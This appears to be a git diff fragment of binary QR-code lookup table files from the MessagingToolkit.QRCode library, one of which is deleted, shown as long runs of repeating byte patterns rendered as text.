MKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABAB?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878565656563434343434343434~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqrqrqrqropopopopmnmnmnmnklklklklijijijijghghghghefefefefcdccccccbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABABABABABA@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878565656563333334334343434~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqrqpopopopopopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878565656564343434334343434~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMLKLKKLKKKKKLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878565656564343434334343434~}~}~}~}{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOLKLKKKKKKLKLKLKJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:78787878565656564343434334343433~}~}|{|{{|{|{|{yyzyzyzyzwxwxwxwxuvuvuvuvststststqrqrqrqropopopopopopopopmnmnmnmnklklklklijijijijghghghghefefefefdcdcdcdcbabababa`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQRQRQRQRQPOPOPONMKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCDABABABAB?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<9:9:9:9:7878787856565656434343433333434343434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -43434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - -43333343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -43434321212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -21212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -21212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('('('('&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - - -21212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - - - - 21212121212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -212121212121210/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!         - - - -212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%&%&%&%$#$#$#$#$#"!"!"!"!         - - - -212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -212121210/0/0/0/0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -212121210/0/0/0/0/0/0/.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!         - - - -212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#"!"!"!"!"!         - - - -212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!         - - - -212121210/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!         - - - -212121210/0/0/0/.-.-.-.-.-.-.-,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!       - - - -212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!      - - - -212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!          - - - -212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - -212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - -212121210/0/0/0/.-.-.-.-,+,+,+,+,+,+,+*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!             - - - -212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!           - - - -212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!         - - - -mmnnoopp~}tuuvvwwx%$$##""!LMMNNOOPMLLKKJJI$%%&&''(uttssrrqlmmnnoop-,,++**)DEEFFGGHFEEDDCCBGHHIIJJK;;::9987==>>??@@\\[[ZZYY]]^^__``<<;;::9955667788ddccbbaa }}~~ xwwvvuut uvvwwxxy$##""!! MNNOOPPQLKKJJIIH%&&''(()tssrrqqpmnnooppq,++**))(EFFGGHHIEDDCCBBAHIIJJKKQ~~}} qqrrsstt |{{zzyyx - - xyyzz{{|! PQQRRSSTIHHGGFFE())**++,qppoonnmpqqrrsst)((''&&%HIIJJKKLBAA@@??>KQQRRSST65433221AABBCCDDXXWWVVUU~~}} aabbccdd8877665599::;;<<``__^^]] - - tssrrqqp - - yzz{{||} QRRSSTTUHGGFFEED)**++,,-poonnmmlqrrssttu(''&&%%$IJJKKLLMA@@??>>=QRRSSTTU||{{zzyy - - uuvvwwxx - - xwwvvuut |}}~~TUUVVWWXEDDCCBBA,--..//0mllkkjjituuvvwwx%$$##""!LMMNNOOP>==<<;;:TUUVVWWX100//..-EEFFGGHHTTSSRRQQ ||{{zzyy - - eeffgghh44332211==>>??@@\\[[ZZYYpoonnmml }~~UVVWWXXYDCCBBAA@-..//001lkkjjiih uvvwwxxy$##""!! MNNOOPPQ=<<;;::9UVVWWXXYxxwwvvuu - - yyzz{{|| - - tssrrqqpXYYZZ[[\A@@??>>=01122334ihhggffe - - xyyzz{{|! PQQRRSST:9933221XYYZZ[[\-,,++**)IIJJKKLLPPOONNMM!!""##$$xxwwvvuuiijjkkll00//..--AABBCCDDXXWWVVUU{{zzyyxxlkkjjiihYZZ[[\\]@??>>==<12233445hggffeed - - yzz{{||} QRRSSTTU93322110YZZ[[\\]ttssrrqq }}~~poonnmml\]]^^__`=<<;;::945566778eddccbba |}}~~TUUVVWWX100//..-\]]^^__`)((''&&%MMNNOOPPLLKKJJII%%&&''((ttssrrqqmmnnoopp,,++**))EEFFGGHHTTSSRRQQ wwvvuuttgfedccbb]^^__``a<;;::99856677889dccbbaa` }~~UVVWWXXY0//..--,]^^__``appoonnmmlkkjjiih~~} `aabbccd98877665899::;;>??@]\\[[ZZY\]]^^__`)((''&&%ijjkkllm! UUVVWWXXDDCCBBAA--..//00llkkjjiiuuvvwwxx$$##""!!MMNNOOPPLLKKJJII%%&&''((oonnmmll##$$%%&&]]\\[[ZZ !|{{zzyyx - - effgghhi43322110=>>??@@A\[[ZZYYX]^^__``a(''&&%%$jkkllmmnhhggffee{{zzyyxx!!""aa``__^^ !!""##$yxxwwvvu hiijjkkl100//..-@AABBCCDYXXWWVVU~~} `aabbccd%$$##""!mnnooppqYYZZ[[\\@@??>>==11223344hhggffee - - yyzz{{|| QQRRSSTTHHGGFFEE))**++,,kkjjiicc''(())**YYXXWWVV!""##$$%xwwvvuutijjkkllm0//..--,ABBCCDDEXWWVVUUT~~}}| abbccdde$##""!!nooppqqrddccbbaa wwvvuutt##$$%%&&]]\\[[ZZ$%%&&''(uttssrrqlmmnnoop-,,++**)DEEFFGGHUTTSSRRQ }||{{zzy - - deeffggh!qrrssttu]]^^__``<<;;::9955667788ddccbbaa }}~~UUVVWWXXDDCCBBAA--..//00bbaa``__++,,--..UUTTSSRR%&&''(()tssrrqqpmnnooppq,++**))(EFFGGHHITSSRRQQP !|{{zzyyx - - effgghhirssttuuv``__^^]]!!""##$$ssrrqqpp''(())**YYXXWWVV())**++,qppoonnmpqqrrsst)((''&&%HIIJJKKLQPPOONNM !!""##$yxxwwvvu hiijjkkluvvwwxxyaabbccdd8877665599::;;<<``__^^]]YYZZ[[\\@@??>>==11223344^^]]\\[[//001122QQPONMLK)**++,,-poonnmmlqrrssttu(''&&%%$IJJKKLLMPOONNMML!""##$$%xwwvvuutijjkkllmvwwxxyyz\\[[ZZYY%%&&''((oonnmmll++,,--..UUTTSSRR,--..//0mllkkjjituuvvwwx%$$##""!LMMNNOOPMLLKKJJI$%%&&''(uttssrrqlmmnnoopyzz{{ eeffgghh44332211==>>??@@\\[[ZZYY]]^^__``<<;;::9955667788ZZYYXXWW3399::;;KJJIIHHG-..//001lkkjjiih uvvwwxxy$##""!! MNNOOPPQLKKJJIIH%&&''(()tssrrqqpmnnooppqz{{XXWWVVUU))**++,,kkjjiicc//001122QQPONMLK01122334ihhggffe - - xyyzz{{|! PQQRRSSTIHHGGFFE())**++,qppoonnmpqqrrsst - - iijjkkll00//..--AABBCCDDXXWWVVUU~~}} aabbccdd8877665599::;;<>??GFFEEDDC12233445hggffeed - - yzz{{||} QRRSSTTUHGGFFEED)**++,,-poonnmmlqrrssttu TTSSRRQQ--..//00bbaa``__3399::;;KJJIIHHG45566778eddccbba |}}~~TUUVVWWXEDDCCBBA,--..//0mllkkjjituuvvwwx - - ~mmnnoopp,,++**))EEFFGGHHTTSSRRQQ ||{{zzyy - - eeffgghh44332211==>>??@@RRQQKKJJ@@AABBCCCBBAA@@?56677889dccbbaa` }~~UVVWWXXYDCCBBAA@-..//001lkkjjiih uvvwwxxy - - ~}|PPOONNMM11223344^^]]\\[[<<==>>??GFFEEDDC899::;;>=01122334ihhggffe - - xyyzz{{|}|{{zzyyqqrrsstt((''&&%%IIJJKKLLPPOONNMM!!""##$$xxwwvvuuiijjkkll00//..--AABBCCDDIIHHGGFFDDEEFFGG?>>==<<;9::;;<<=`__^^]]\YZZ[[\\]@??>>==<12233445hggffeed - - yzz{{||}{{zzyyxxLLKKJJII55667788ZZYYXXWW@@AABBCCCBBAA@@?<==>>??@]\\[[ZZY\]]^^__`=<<;;::945566778eddccbba |}}~~ xxwwvvuuuuvvwwxx$$##""!!MMNNOOPPLLKKJJII%%&&''((ttssrrqqmmnnoopp,,++**))EEFFGGHHEEDDCCBBHHIIJJKK;::99876=>>??@@A\[[ZZYYX]^^__``a<;;::99856677889dccbbaa` }~~ -wwvvuuttHHGGFFEE99::;;<>==<<;@AABBCCDYXXWWVVU~~} `aabbccd98877665899::;;>QQRRSSTT54332211ABBCCDDEXWWVVUUT~~}}| abbccdde877665549::;;<<=`__^^]]\ - ssrrqqppDDCCBBAA==>>??@@RRQQKKJJHHIIJJKK;::99876DEEFFGGHUTTSSRRQ }||{{zzy - - deeffggh54433221<==>>??@]\\[[ZZY ppoonnmm }}~~UUVVWWXXDDCCBBAA--..//00llkkjjiiuuvvwwxx$$##""!!MMNNOOPP==<<;;::UUVVWWXX00//..--EFFGGHHITSSRRQQP !|{{zzyyx - - effgghhi43322110=>>??@@A\[[ZZYYX{oonnmmll@@??>>==AABBCCDDIIHHGGFFQQRRSSTT54332211HIIJJKKLQPPOONNM !!""##$yxxwwvvu hiijjkkl100//..-@AABBCCDYXXWWVVU{{zzyyxllkkjjiiYYZZ[[\\@@??>>==11223344hhggffee - - yyzz{{|| QQRRSSTT99332211YYZZ[[\\,,++**))IJJKKLLMPOONNMML!""##$$%xwwvvuutijjkkllm0//..--,ABBCCDDEXWWVVUUT{zzyyxxwkkjjiihg<<;;::99EEFFGGHHEEDDCCBBUUVVWWXX00//..--LMMNNOOPMLLKKJJI$%%&&''(uttssrrqlmmnnoop-,,++**)DEEFFGGHUTTSSRRQ xwwvvuuthgfedccb]]^^__``<<;;::9955667788ddccbbaa }}~~UUVVWWXX00//..--]]^^__``((''&&%%MNNOOPPQLKKJJIIH%&&''(()tssrrqqpmnnooppq,++**))(EFFGGHHITSSRRQQP !wvvuuttsfedccbba88776655IIJJKKLLAA@@??>>YYZZ[[\\,,++**))PQQRRSSTIHHGGFFE())**++,qppoonnmpqqrrsst)((''&&%HIIJJKKLQPPOONNM !!""##$tssrrqqp!!"baa``__^~~}} aabbccdd8877665599::;;<<``__^^]]YYZZ[[\\,,++**))aabbccii$$##""!!QRRSSTTUHGGFFEED)**++,,-poonnmmlqrrssttu(''&&%%$IJJKKLLMPOONNMML!""##$$%srrqqppo!!""#a``__^^]44332211MMNNOOPP==<<;;::]]^^__``((''&&%%TUUVVWWXEDDCCBBA,--..//0mllkkjjituuvvwwx%$$##""!LMMNNOOPMLLKKJJI$%%&&''(poonnmml"##$$%%&^]]\\[[Z ||{{zzyy - - eeffgghh44332211==>>??@@\\[[ZZYY]]^^__``((''&&%%jjkkllmm UVVWWXXYDCCBBAA@-..//001lkkjjiih uvvwwxxy$##""!! MNNOOPPQLKKJJIIH%&&''(()onnmmllk#$$%%&&']\\[[ZZY00//..--QQRRSSTT99332211aabbccii$$##""!!XYYZZ[[\A@@??>>=01122334ihhggffe - - xyyzz{{|! PQQRRSSTIHHGGFFE())**++,lkkjjiic&''(())*ZYYXXWWV!!""##$$xxwwvvuuiijjkkll00//..--AABBCCDDXXWWVVUU~~}} aabbccdd$$##""!!nnooppqqYZZ[[\\]@??>>==<12233445hggffeed - - yzz{{||} QRRSSTTUHGGFFEED)**++,,-kjjiiccb'(())**+YXXWWVVU::998765,,++**))UUVVWWXX00//..--jjkkllmm \]]^^__`=<<;;::945566778eddccbba |}}~~TUUVVWWXEDDCCBBA,--..//0cbbaa``_*++,,--.VUUTTSSR%%&&''((ttssrrqqmmnnoopp,,++**))EEFFGGHHTTSSRRQQ ||{{zzyy - - eeffgghhrrssttuu]^^__``a<;;::99856677889dccbbaa` }~~UVVWWXXYDCCBBAA@-..//001baa``__^+,,--../UTTSSRRQ43322110((''&&%%YYZZ[[\\,,++**))nnooppqq`aabbccd98877665899::;;>=01122334_^^]]\\[.//00112RQQPONML))**++,,ppoonnmmqqrrsstt((''&&%%IIJJKKLLPPOONNMM!!""##$$xxwwvvuuiijjkkllvvwwxxyyabbccdde877665549::;;<<=`__^^]]\YZZ[[\\]@??>>==<12233445^]]\\[[Z/0011223QPONMLKK0//..--,$$##""!!]]^^__``((''&&%%rrssttuudeeffggh54433221<==>>??@]\\[[ZZY\]]^^__`=<<;;::945566778[ZZYYXXW23399::;KKJJIIHH--..//00llkkjjiiuuvvwwxx$$##""!!MMNNOOPPLLKKJJII%%&&''((ttssrrqqmmnnooppzz{{ -effgghhi43322110=>>??@@A\[[ZZYYX]^^__``a<;;::99856677889ZYYXXWWV399::;;>?GGFFEEDD11223344hhggffee - - yyzz{{|| QQRRSSTTHHGGFFEE))**++,,ppoonnmmqqrrsstt - ijjkkllm0//..--,ABBCCDDEXWWVVUUT~~}}| abbccdde877665549::;;<<=VUUTTSSR<==>>??@FFEEDDCC(''&&%%$eeffgghhzz{{ -lmmnnoop-,,++**)DEEFFGGHUTTSSRRQ }||{{zzy - - deeffggh54433221<==>>??@SRRQQKKJ?@@AABBCCCBBAA@@55667788ddccbbaa }}~~UUVVWWXXDDCCBBAA--..//00llkkjjiiuuvvwwxx - - ~}mnnooppq,++**))(EFFGGHHITSSRRQQP !|{{zzyyx - - effgghhi43322110=>>??@@ARQQKKJJI@AABBCCDBBAA@@??$##""!! iijjkkll - pqqrrsst)((''&&%HIIJJKKLQPPOONNM !!""##$yxxwwvvu hiijjkkl100//..-@AABBCCDJIIHHGGFCDDEEFFG??>>==<<99::;;<<``__^^]]YYZZ[[\\@@??>>==11223344hhggffee - - yyzz{{|||{{zzyyxqrrssttu(''&&%%$IJJKKLLMPOONNMML!""##$$%xwwvvuutijjkkllm0//..--,ABBCCDDEIHHGGFFEDEEFFGGH>>==<<;;ZZ[[\\]]??>>==<<22334455ggffeedd - - zz{{||}}RRSSTTUUGGFFEEDD**++,,--jjiiccbb(())**++XXWWVVUU"##$$%%&wvvuuttsjkkllmmn/..--,,+BCCDDEEFWVVUUTTS~~}}||{ bccddeefyxxwwvvu - - ^^__``aa;;::998866778899ccbbaa``~~VVWWXXYYCCBBAA@@..//0011aa``__^^,,--..//TTSSRRQQ&''(())*srrqqpponooppqqr+**))(('FGGHHIIJSRRQQPPO !!"{zzyyxxw - - fgghhiijuttssrrq bbccddee77665544::;;<<==__^^]]\\ZZ[[\\]]??>>==<<22334455]]\\[[ZZ00112233PONMLKKJ*++,,--.onnmmllkrssttuuv'&&%%$$#JKKLLMMNONNMMLLK"##$$%%&wvvuuttsjkkllmmnqppoonnm - -ffgghhii33221100>>??@@AA[[ZZYYXX^^__``aa;;::998866778899YYXXWWVV99::;;<>??@@FEEDDCCB23344556gffeeddc - z{{||}}~RSSTTUUVGFFEEDDC*++,,--.onnmmllkrssttuuv - - -ihhggffennooppqq++**))((FFGGHHIISSRRQQPP !!{{zzyyxx - - ffgghhii33221100>>??@@AAQQKKJJIIAABBCCDDBAA@@??>6778899:cbbaa``_~VWWXXYYZCBBAA@@?.//00112kjjiihhg -vwwxxyyz - eddccbba rrssttuu''&&%%$$JJKKLLMMOONNMMLL""##$$%%wwvvuuttjjkkllmm//..--,,BBCCDDEEHHGGFFEEEEFFGGHH>==<<;;::;;<<==>_^^]]\\[Z[[\\]]^?>>==<<;23344556gffeeddc - z{{||}}~a``__^^] !!""##$ vvwwxxyy##""!! NNOOPPQQKKJJIIHH&&''(())ssrrqqppnnooppqq++**))((FFGGHHIIDDCCBBAAIIJJKKQQ:9987654>??@@AAB[ZZYYXXW^__``aab;::998876778899:cbbaa``_~]\\[[ZZY$%%&&''( - - zz{{||}}RRSSTTUUGGFFEEDD**++,,--oonnmmllrrssttuu''&&%%$$JJKKLLMM@@??>>==RRSSTTUU33221100BCCDDEEFWVVUUTTS~~}}||{ bccddeef76655443:;;<<==>_^^]]\\[||{YXXWWVVU())**++,~~VVWWXXYYCCBBAA@@..//0011kkjjiihh vvwwxxyy##""!! NNOOPPQQ<<;;::99VVWWXXYY//..--,,FGGHHIIJSRRQQPPO !!"{zzyyxxw - - fgghhiij3221100/>??@@AAB[ZZYYXXW{zzyyxxw!!""#UTTSSRRQ,--..//0ZZ[[\\]]??>>==<<22334455ggffeedd - - zz{{||}}RRSSTTUU33221100ZZ[[\\]]++**))((JKKLLMMNONNMMLLK"##$$%%&wvvuuttsjkkllmmn/..--,,+BCCDDEEFWVVUUTTSwvvuutts#$$%%&&'QPPOONNM01122334^^__``aa;;::998866778899ccbbaa``~~VVWWXXYY//..--,,^^__``aa''&&%%$$NOOPPQQRKJJIIHHG&''(())*srrqqpponooppqqr+**))(('FGGHHIIJSRRQQPPO !!"srrqqppo'(())**+MLLKKJJI45566778~~}}|| bbccddee77665544::;;<<==__^^]]\\ZZ[[\\]]++**))((bbcciijj##""!! RSSTTUUVGFFEEDDC*++,,--.onnmmllkrssttuuv'&&%%$$#JKKLLMMNONNMMLLK"##$$%%&onnmmllk+,,--../IHHGGFFE899::;;< !!{{zzyyxx - - ffgghhii33221100>>??@@AA[[ZZYYXX^^__``aa''&&%%$$kkllmmnnVWWXXYYZCBBAA@@?.//00112kjjiihhg -vwwxxyyz#""!! NOOPPQQRKJJIIHHG&''(())*kjjiiccb/0011223EDDCCBBA<==>>??@""##$$%%wwvvuuttjjkkllmm//..--,,BBCCDDEEWWVVUUTT~~}}|| bbccddee##""!!ooppqqrrZ[[\\]]^?>>==<<;23344556gffeeddc - z{{||}}~RSSTTUUVGFFEEDDC*++,,--.baa``__^399::;;>=@AABBCCD&&''(())ssrrqqppnnooppqq++**))((FFGGHHIISSRRQQPP !!{{zzyyxx - - ffgghhiissttuuvv^__``aab;::998876778899:cbbaa``_~VWWXXYYZCBBAA@@?.//00112^]]\\[[Z<==>>??@=<<;;::9DEEFFGGH**++,,--oonnmmllrrssttuu''&&%%$$JJKKLLMMOONNMMLL""##$$%%wwvvuuttjjkkllmmwwxxyyzz bccddeef76655443:;;<<==>_^^]]\\[Z[[\\]]^?>>==<<;23344556ZYYXXWWV@AABBCCD98877665HIIJJKKL..//0011kkjjiihh vvwwxxyy##""!! NNOOPPQQKKJJIIHH&&''(())ssrrqqppnnooppqq{{ - - fgghhiij3221100/>??@@AAB[ZZYYXXW^__``aab;::998876778899:VUUTTSSRDEEFFGGH54433221LMMNNOOP22334455ggffeedd - - zz{{||}}RRSSTTUUGGFFEEDD**++,,--oonnmmllrrssttuu jkkllmmn/..--,,+BCCDDEEFWVVUUTTS~~}}||{ bccddeef76655443:;;<<==>RQQKKJJIHIIJJKKQ100//..-PQQRRSST66778899ccbbaa``~~VVWWXXYYCCBBAA@@..//0011kkjjiihh vvwwxxyy - - ~}|{nooppqqr+**))(('FGGHHIIJSRRQQPPO !!"{zzyyxxw - - fgghhiij3221100/>??@@AABIHHGGFFEQRRSSTTU-,,++**)TUUVVWWX::;;<<==__^^]]\\ZZ[[\\]]??>>==<<22334455ggffeedd - - zz{{||}}{zzyyxxwrssttuuv'&&%%$$#JKKLLMMNONNMMLLK"##$$%%&wvvuuttsjkkllmmn/..--,,+BCCDDEEFEDDCCBBAUVVWWXXY)((''&&%XYYZZ[[\>>??@@AA[[ZZYYXX^^__``aa;;::998866778899ccbbaa``~~ - -wvvuutts -vwwxxyyz#""!! NOOPPQQRKJJIIHHG&''(())*srrqqpponooppqqr+**))(('FGGHHIIJA@@??>>=YZZ[[\\]%$$##""!\]]^^__`BBCCDDEEWWVVUUTT~~}}|| bbccddee77665544::;;<<==__^^]]\\ srrqqppo - z{{||}}~RSSTTUUVGFFEEDDC*++,,--.onnmmllkrssttuuv'&&%%$$#JKKLLMMN=<<;;::9]^^__``a! `aabbccdFFGGHHIISSRRQQPP !!{{zzyyxx - - ffgghhii33221100>>??@@AA[[ZZYYXX{{onnmmllk~VWWXXYYZCBBAA@@?.//00112kjjiihhg -vwwxxyyz#""!! NOOPPQQR93322110abbcciijdeeffgghJJKKLLMMOONNMMLL""##$$%%wwvvuuttjjkkllmm//..--,,BBCCDDEEWWVVUUTTzzyyxxwwkjjiihgfZ[[\\]]^?>>==<<;23344556gffeeddc - z{{||}}~RSSTTUUV0//..--,jkkllmmnhiijjkklNNOOPPQQKKJJIIHH&&''(())ssrrqqppnnooppqq++**))((FFGGHHIISSRRQQPP !!vvuuttssedccbbaa^__``aab;::998876778899:cbbaa``_~VWWXXYYZ,++**))(nooppqqrlmmnnoopRRSSTTUUGGFFEEDD**++,,--oonnmmllrrssttuu''&&%%$$JJKKLLMMOONNMMLL""##$$%%rrqqppoo!!""##``__^^]]~~}}||{ bccddeef76655443:;;<<==>_^^]]\\[Z[[\\]]^(''&&%%$rssttuuv pqqrrsstVVWWXXYYCCBBAA@@..//0011kkjjiihh vvwwxxyy##""!! NNOOPPQQKKJJIIHH&&''(())nnmmllkk$$%%&&''\\[[ZZYY !!"{zzyyxxw - - fgghhiij3221100/>??@@AAB[ZZYYXXW^__``aab$##""!!vwwxxyyy - - tuuvvwwxxyybdQZ|drtAvpfHAbےv`f~QJHAZp˂bdQZ|fH~˙ے`JXbtlf~HfpvrXQJ`ہdrtf`vXpZHAQbtlXv`fXQJ`ےdrtA`vXnr˂pZHAb|ZdQbnXv`bHAZJltvpfH~ftl|nXv`˒HAZp˂rXbdQZ|~f``JXQlJtf~HvnQJ`ےdrtAvXnZHAbbtl|drtAJltH~f`JXQrfpvZp˂rXQJ`ہdrtf`vXQr˂pJtArdfpvnrXQJ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vXnr˂p`QXb㉀Xnvˍ|drQt}~~IIIIIIIIIIIIIIIIIIIIIJJJJJJJ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_1.dat deleted file mode 100644 index 294c49a..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv29_1.dat +++ /dev/null @@ -1,265 +0,0 @@ -~}~}~}~}|{|{{{{{{|{|{|{|yyyyyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvutstststststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijijijijijghghghghefefefefefefefefdcdcdcdcdcdcdcccbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLKLKLKKKKIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:78787878565656565656565643434343434333332121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!    ~}~}~}~}{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijijijijijghghghghefefefefefefefefdcdcdcdccccdcdcdbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMKLKLKLKLKKLKLKLKIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9878787878565656565656565643434343343434342121212121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!     